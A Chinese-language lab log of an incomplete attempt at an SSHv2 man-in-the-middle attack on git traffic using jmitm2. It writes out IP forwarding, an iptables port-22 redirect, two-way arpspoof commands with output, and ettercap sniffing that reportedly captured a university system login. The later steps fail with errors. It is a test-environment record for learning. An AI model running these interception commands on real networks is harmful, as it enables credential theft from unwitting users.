现阶段在试验进行git的中间人攻击,由于大部分用户采用的都是基于sshv2协议的传输,所以问题转变为实现sshv2的中间人攻击。
现在网上能查到的关于sshv2中间人攻击的工具有两个,一个是jmitm2,一个德国人编写的,但是零几年之后就没有再更新过了;另一个是ssh-mitm,作者是 Joe Testa。
jmitm2是基于SSH2客户端/服务器实现J2SSH的SSH2中间人攻击程序。本文是对试验jmitm2工具的一个记录。
受害者主机/攻击者主机系统:Ubuntu 16.04
受害者主机IP:192.168.174.132 网关:192.168.174.2 攻击者主机IP:192.168.174.128
1.下载jmitm2。
attack@ubuntu:/home$ wget http://www.david-guembel.de/uploads/media/jmitm2-0.1.0.tar.gz
attack@ubuntu:/home$ tar xf jmitm2-0.1.0.tar.gz
attack@ubuntu:/home$ cd jmitm2-0.1.0/
attack@ubuntu:/home/jmitm2-0.1.0$
2.修改其中的文件内容,改为相应的IP地址和端口号:
attack@ubuntu:/home/jmitm2-0.1.0$ nano bin/conf/server.xml
attack@ubuntu:/home/jmitm2-0.1.0$ nano bin/runm.sh
3.流量重定向。欺骗网关和受害者主机,并转发端口。
转发端口:
attack@ubuntu:~$ echo 1 > /proc/sys/net/ipv4/ip_forward
attack@ubuntu:~$ iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT
attack@ubuntu:~$ iptables -A FORWARD -j ACCEPT
arp毒化进行欺骗:(root权限)
root@ubuntu:/home/attack# arpspoof -i ens33 -t 192.168.174.132 192.168.174.2
0:c:29:a4:b0:a9 0:c:29:79:b9:66 0806 42: arp reply 192.168.174.2 is-at 0:c:29:a4:b0:a9
0:c:29:a4:b0:a9 0:c:29:79:b9:66 0806 42: arp reply 192.168.174.2 is-at 0:c:29:a4:b0:a9
0:c:29:a4:b0:a9 0:c:29:79:b9:66 0806 42: arp reply 192.168.174.2 is-at 0:c:29:a4:b0:a9
0:c:29:a4:b0:a9 0:c:29:79:b9:66 0806 42: arp reply 192.168.174.2 is-at 0:c:29:a4:b0:a9
root@ubuntu:/home/attack# arpspoof -i ens33 -t 192.168.174.2 192.168.174.132
0:c:29:a4:b0:a9 0:50:56:ec:82:84 0806 42: arp reply 192.168.174.132 is-at 0:c:29:a4:b0:a9
0:c:29:a4:b0:a9 0:50:56:ec:82:84 0806 42: arp reply 192.168.174.132 is-at 0:c:29:a4:b0:a9
0:c:29:a4:b0:a9 0:50:56:ec:82:84 0806 42: arp reply 192.168.174.132 is-at 0:c:29:a4:b0:a9
0:c:29:a4:b0:a9 0:50:56:ec:82:84 0806 42: arp reply 192.168.174.132 is-at 0:c:29:a4:b0:a9
此时如果使用以下命令,可以成功获取到用户普通情况下的登录口令(以国科大教务系统为例),其中账号和密码打了码。
root@ubuntu:/home/attack# ettercap -Tq -i ens33
可以证明此时的arp毒化是成功的。
然而在arp毒化之前,受害主机可以通过ssh连接git,毒化之后则显示22端口无法连接。这个问题进一步的查询之后确定是防火墙没能将数据包转发出去,但是实验了其他的防火墙规则,也没有成功,这个还需要进一步实验。
4. 按照jmitm2的使用说明和网上能查到的资料,下一步应该是运行runm.sh,但是我的runm.sh打开内容只有长长的一行,而且运行时报错:./runm.sh: 行 1: java: 未找到命令。
暂时怀疑是文件内容有问题,毕竟是很早之前的工具了。
参考链接:https://www.cnblogs.com/woxing/p/3962701.html
http://www.david-guembel.de/index.php?id=6
其中第一个链接中使用了jmitm2,但是他的ssh服务端也在本机,arp直接毒化了服务端,而且最重要的一步“获取密码”没有步骤也没有图,只能作为参考。
第二个链接是jmitm2作者的网站,同样,他的说明更加简洁,具体的操作并没有说明。
另外还查到了第三个链接,https://milo2012.wordpress.com/tag/jmitm2/
作者是认为jmitm2操作很复杂,所以写了一个自动化的脚本,但是这个脚本有错误,同时有很多内容根本没提,导致运行不了。后来又查到了一个关于这个脚本更进一步的资料http://onnocenter.or.id/wiki/index.php/MITM:_mitmssh,解决了tmp/tools的问题,但是依旧报错
Traceback (most recent call last):
File "mitmSSH.py", line 2, in <module>
from scapy.all import *
ImportError: No module named scapy.all
所以还需要进一步的查询和测试。